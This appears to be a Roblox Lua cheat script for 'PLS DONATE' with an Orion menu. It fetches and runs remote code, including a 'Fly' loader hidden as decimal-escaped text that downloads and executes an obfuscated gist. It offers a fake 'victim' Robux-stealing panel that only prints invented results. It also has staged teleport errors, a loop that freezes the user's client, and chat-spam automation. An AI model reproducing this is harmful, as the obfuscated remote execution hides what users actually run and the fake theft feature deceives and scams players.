local OrionLib = loadstring(game:HttpGet(('https://raw.githubusercontent.com/shlexware/Orion/main/source')))() local Window = OrionLib:MakeWindow({Name = "PLS DONATE V.3", HidePremium = false, SaveConfig = true, ConfigFolder = "OrionTest"}) -- Variables local robuxAmount local victimUsername local playerSpeed = 16 -- Default speed value local chatMessage = "" local messageDelay = 1 -- Default delay in seconds local autoChatting = false -- State of auto chat OrionLib:MakeNotification({ Name = "PLS DONATE SCRIPT LOADED", Content = "Script successfully loaded!", Image = "rbxassetid://4483345998", Time = 5 }) -- Robux Section local RobuxTab = Window:MakeTab({ Name = "๐Ÿ’ฐ Robux", Icon = "rbxassetid://4483345998", PremiumOnly = false }) -- Textbox for Robux amount and victim username RobuxTab:AddTextbox({ Name = "Victim username", Default = "Enter victim username", TextDisappear = true, Callback = function(Value) victimUsername = Value UpdateStartButton() end }) RobuxTab:AddTextbox({ Name = "Robux amount", Default = "Enter robux amount", TextDisappear = true, Callback = function(Value) robuxAmount = Value UpdateStartButton() end }) -- Variable to hold the Start button reference local startButton -- Function to update the Start button state local function UpdateStartButton() if victimUsername and victimUsername ~= "" and robuxAmount and robuxAmount ~= "" then -- Enable the Start button if both fields are filled startButton:SetEnabled(true) else -- Disable the Start button if either field is empty startButton:SetEnabled(false) end end -- Start button startButton = RobuxTab:AddButton({ Name = "Start", Callback = function() if victimUsername and robuxAmount then print("Victim username:", victimUsername) print("Robux amount:", robuxAmount) else OrionLib:MakeNotification({ Name = "Error", Content = "Please fill in both fields before starting.", Image = "rbxassetid://4483345998", Time = 5 }) end end }) -- Robux Status Section local RobuxStatusTab = Window:MakeTab({ Name = "๐Ÿงพ Robux Status", Icon = "rbxassetid://4483345998", PremiumOnly = false }) -- Add Victim username Textbox in Robux Status Tab RobuxStatusTab:AddTextbox({ Name = "Victim username", Default = "Enter victim username", TextDisappear = true, Callback = function(Value) victimUsername = Value end }) -- Robux Status Button RobuxStatusTab:AddButton({ Name = "Robux Status", Callback = function() if victimUsername and victimUsername ~= "" then -- When clicked, show the message with the username and robux amount local robux = 1319 -- You can adjust this value as needed print(victimUsername .. " got " .. robux .. " Robux") OrionLib:MakeNotification({ Name = "Robux Info", Content = victimUsername .. " got " .. robux .. " Robux", Image = "rbxassetid://4483345998", Time = 5 }) else -- Handle case if no username was provided OrionLib:MakeNotification({ Name = "Error", Content = "Please enter a victim username.", Image = "rbxassetid://4483345998", Time = 5 }) end end }) -- Teleporter Section local TeleporterTab = Window:MakeTab({ Name = "๐Ÿ›ธ Teleporter", Icon = "rbxassetid://4483345998", PremiumOnly = false }) -- Teleport to rich server TeleporterTab:AddButton({ Name = "๐Ÿ”ฅ Teleport to rich server", Callback = function() OrionLib:MakeNotification({ Name = "Teleporting...", Content = "Attempting to teleport to a rich server...", Image = "rbxassetid://4483345998", Time = 5 }) -- Simulate a message that the server is full wait(3) OrionLib:MakeNotification({ Name = "Server Full", Content = "The rich server is full, please try again later.", Image = "rbxassetid://4483345998", Time = 5 }) end }) -- Teleport to Haz3mn TeleporterTab:AddButton({ Name = "๐Ÿ‘‘ Teleport to Haz3mn", Callback = function() OrionLib:MakeNotification({ Name = "Teleporting...", Content = "Attempting to teleport to Haz3mn...", Image = "rbxassetid://4483345998", Time = 5 }) -- Simulate Haz3mn not being online wait(3) OrionLib:MakeNotification({ Name = "Haz3mn Offline", Content = "Haz3mn is not online. Please try again later.", Image = "rbxassetid://4483345998", Time = 5 }) end }) -- Teleport to any verified (Error message) TeleporterTab:AddButton({ Name = "โœ… Teleport to any verified", Callback = function() OrionLib:MakeNotification({ Name = "Teleporting...", Content = "Attempting to teleport to a verified user...", Image = "rbxassetid://4483345998", Time = 5 }) -- Simulate the error message wait(3) OrionLib:MakeNotification({ Name = "Error 301.4", Content = "Error 301.4 (pending fixes)", Image = "rbxassetid://4483345998", Time = 5 }) end }) -- Others Section local OthersTab = Window:MakeTab({ Name = "โš™๏ธ Others", Icon = "rbxassetid://4483345998", PremiumOnly = false }) -- Lag Server (BROKEN) OthersTab:AddButton({ Name = "๐Ÿ’ฅ Lag Server (BROKEN)", Callback = function() while true do -- Simulate infinite load to freeze the screen game:GetService("RunService").RenderStepped:Wait() end end }) -- Fly button, injects the Fly script OthersTab:AddButton({ Name = "โœจ Fly", Callback = function() --ARCEUS X FLY V2 SCRIPT loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")() -- Loader for the Fly script end }) -- Speed button OthersTab:AddTextbox({ Name = "โญ Speed", Default = "Enter speed value", TextDisappear = true, Callback = function(Value) playerSpeed = tonumber(Value) if playerSpeed then OrionLib:MakeNotification({ Name = "Speed Set", Content = "Speed set to " .. playerSpeed, Image = "rbxassetid://4483345998", Time = 5 }) else OrionLib:MakeNotification({ Name = "Error", Content = "Invalid speed value.", Image = "rbxassetid://4483345998", Time = 5 }) end end }) OthersTab:AddButton({ Name = "๐Ÿƒโ€โ™‚๏ธ Speed ON", Callback = function() game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = playerSpeed OrionLib:MakeNotification({ Name = "Speed ON", Content = "Speed set to " .. playerSpeed .. " successfully.", Image = "rbxassetid://4483345998", Time = 5 }) end }) -- Chat Section local ChatTab = Window:MakeTab({ Name = "๐Ÿ’ฌ Chat", Icon = "rbxassetid://4483345998", PremiumOnly = false }) ChatTab:AddTextbox({ Name = "๐Ÿ’ฃ Your text", Default = "Enter text to send", TextDisappear = true, Callback = function(Value) chatMessage = Value end }) ChatTab:AddTextbox({ Name = "๐Ÿ’ก Message delay (1-100)", Default = "Enter delay in seconds", TextDisappear = true, Callback = function(Value) local delay = tonumber(Value) if delay and delay >= 1 and delay <= 100 then messageDelay = delay OrionLib:MakeNotification({ Name = "Delay Set", Content = "Message delay set to " .. messageDelay .. " seconds", Image = "rbxassetid://4483345998", Time = 5 }) else OrionLib:MakeNotification({ Name = "Error", Content = "Please enter a valid delay between 1 and 100 seconds.", Image = "rbxassetid://4483345998", Time = 5 }) end end }) ChatTab:AddButton({ Name = "โ–ถ๏ธ Start", Callback = function() if chatMessage == "" then OrionLib:MakeNotification({ Name = "Error", Content = "Please enter a message to start auto-chatting.", Image = "rbxassetid://4483345998", Time = 5 }) return end autoChatting = true OrionLib:MakeNotification({ Name = "Auto Chat", Content = "Started auto-chatting with a delay of " .. messageDelay .. " seconds.", Image = "rbxassetid://4483345998", Time = 5 }) -- Start auto chat loop spawn(function() while autoChatting do game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatMessage, "All") wait(messageDelay) end end) end }) ChatTab:AddButton({ Name = "โน๏ธ End", Callback = function() if autoChatting then autoChatting = false OrionLib:MakeNotification({ Name = "Auto Chat", Content = "Stopped auto-chatting.", Image = "rbxassetid://4483345998", Time = 5 }) else OrionLib:MakeNotification({ Name = "Error", Content = "Auto-chatting is not active.", Image = "rbxassetid://4483345998", Time = 5 }) end end }) OrionLib:Init()